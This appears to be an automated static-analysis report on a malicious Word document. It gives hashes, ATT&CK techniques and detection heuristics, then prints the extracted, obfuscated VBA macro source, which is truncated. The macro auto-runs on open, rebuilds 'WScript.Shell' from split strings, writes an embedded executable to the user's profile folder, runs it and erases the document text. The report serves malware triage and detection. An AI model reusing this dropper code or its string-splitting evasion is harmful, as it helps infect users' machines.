Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5a56547721d751a1…

MALICIOUS

Office (OOXML)

350.9 KB Created: 2015-06-24 11:31:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-28
MD5: 54bd0ee44c394b526fb57b10fd20a407 SHA-1: edd3a85dc994012dcaf5ea8080efb1c768f4a129 SHA-256: 5a56547721d751a12acbf2135a0c054bd72a09da3ac93a1562786edbf4b591ee
472 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. It employs a "Protected Document" lure to prompt the user to enable editing and content, which then triggers the Auto_Open macro. This macro uses obfuscated API calls, including reassembling "WScript.Shell", to create and execute a second-stage payload, likely a downloader. The VBA script also attempts to deobfuscate and execute code using VBScript via CreateObject("WScript.Shell").

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4242 bytes
SHA-256: 0dd10eec28b3048e50ebf7615e4eef9e35cf4462b8e99704cf9076cf5baa58b7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
     zGCwkKBGTOs
End Sub

Sub zGCwkKBGTOs()
     Dim ezbVRLGmmo As String
     Dim iqvhxHmFSdrrP As String
     Dim iYwihdJA As Integer
     Dim bvNUjgU As String
     Dim VBJeJNNj As Byte
     Dim dRZAVyCRqn As Paragraph
     Dim XhnzHZgleilRL As Long
     Dim CAMGDebZMD As Integer
     Dim splRmDLtFg As String
     Dim eOqQRgYctMzmuZ As String
     Dim dsuvHC As String
     Dim MniQXWEhfv As Boolean
     Dim QbhrXGT As Integer
     bvNUjgU = "zqnuhsi&H46&H55&H43&H4B2&H047&H44&H41&H54&H41&H21"
     splRmDLtFg = "exe"
     eOqQRgYctMzmuZ = "iaEhcYUCk" + "o"
     HHRSydvjwaq = "."
     ezbVRLGmmo = eOqQRgYctMzmuZ + HHRSydvjwaq + splRmDLtFg
     YqPyWrU
     iYwihdJA = FreeFile()

     AGRVOkemteQ

     Debug.Print ("After OnTime: " & Now)

     Dim opobUCTy As String
     Dim LyunJq As String
     Dim cBFXXhV As String
     Dim dtxmeZtrxOLted As String
     Dim XtibNFnRE As Document
     Set dEqXIBDNuKqF = CreateObject("Sc" + "riptContro" + "l")
     dEqXIBDNuKqF.Language = "VBS" + "cri" + "p" + "t"
     opobUCTy = "ActiveDocumen" + "t" + "."
     cBFXXhV = "Paragraph" + "s"
     LyunJq = opobUCTy + cBFXXhV
     Set VeZpOpVh = GetObject(, "word" + ".Applic" + "atio" + "n")
     On Error GoTo JFhYAolPD
     dEqXIBDNuKqF.AddObject "Obj", VeZpOpVh

     Dim FwKeQXNgqxMxvnL As Boolean
     FwKeQXNgqxMxvnL = False
     Dim DhvFHjK As Boolean
     DhvFHjK = True

JFhYAolPD:
     For Each dRZAVyCRqn In dEqXIBDNuKqF.Eval("Obj." & LyunJq)
          hPuJZIlGpcz (dRZAVyCRqn)
          iqvhxHmFSdrrP = dRZAVyCRqn.Range.Text
          Debug.Print ("After OnTime: " & Now)
          If (MniQXWEhfv = True) Then
               XhnzHZgleilRL = (37 - 36)
          Dim VCAMcIBwsA As Integer
          VCAMcIBwsA = (68 - 64)
               While (XhnzHZgleilRL < Len(iqvhxHmFSdrrP))
                    VBJeJNNj = Mid(iqvhxHmFSdrrP, XhnzHZgleilRL, VCAMcIBwsA)
                    Debug.Print ("After OnTime: " & Now)
                    Put #iYwihdJA, , VBJeJNNj
                    XhnzHZgleilRL = XhnzHZgleilRL + (7 - 3)
               Wend
          ElseIf (InStr((88 - 87), iqvhxHmFSdrrP, bvNUjgU) > (64 - 64) And Len(iqvhxHmFSdrrP) > (27 - 27)) Then
               MniQXWEhfv = DhvFHjK
          End If
          Next
     Debug.Print ("After OnTime: " & Now)
     If (FwKeQXNgqxMxvnL = True) Then
          MsgBox ("FUCK AV")
     Else
          Close #iYwihdJA
     End If
     HYUzMcPhknOwSHA (ezbVRLGmmo)
End Sub

Sub AutoOpen()
     Auto_Open
End Sub

Sub HYUzMcPhknOwSHA(ezbVRLGmmo As String)
     Dim dsuvHC As String
     Dim dphUNjFKvsin As Object
     Dim QbhrXGT As Integer
     dsuvHC = Environ("USERPROFIL" + "E")
     ChDrive (dsuvHC)
     ChDir (dsuvHC)

     Debug.Print ("After OnTime: " & Now)

     Set dphUNjFKvsin = VBA.CreateObject("WSc" + "ript" + ".She" + "l" + "l")
     On Error Resume Next
     dphUNjFKvsin.Run (ezbVRLGmmo)
     TdkFfShCkIHO
End Sub

Sub hPuJZIlGpcz(fVXCWogxUYsIi)
     DoEvents
End Sub

Sub AGRVOkemteQ()
     Dim splRmDLtFg As String
     Dim ezbVRLGmmo As String
     Dim eOqQRgYctMzmuZ As String
     Dim iYwihdJA As Integer
     Dim HHRSydvjwaq As String
     eOqQRgYctMzmuZ = "iaEhcYUCko"
     HHRSydvjwaq = "."
     splRmDLtFg = "exe"
     ezbVRLGmmo = eOqQRgYctMzmuZ + HHRSydvjwaq + splRmDLtFg
     iYwihdJA = FreeFile()
     Open ezbVRLGmmo For Binary As iYwihdJA
End Sub

Sub TdkFfShCkIHO()
     Word.ActiveDocument.Range.Select
     Selection.WholeStory
     Selection.Delete Unit:=wdCharacter, Count:=(53 - 52)
     Dim hnyvtVpsnYB As Word.Document
     Set hnyvtVpsnYB = ThisDocument
     hnyvtVpsnYB.Range.InsertParagraphAfter
     hnyvtVpsnYB.Range.InsertAfter "" + vbLf
End Sub

Sub YqPyWrU()
    
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 7798181485f06ce8f34a2d2f7d01137309b19ca80924ee1e0fc185734aa4a188
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely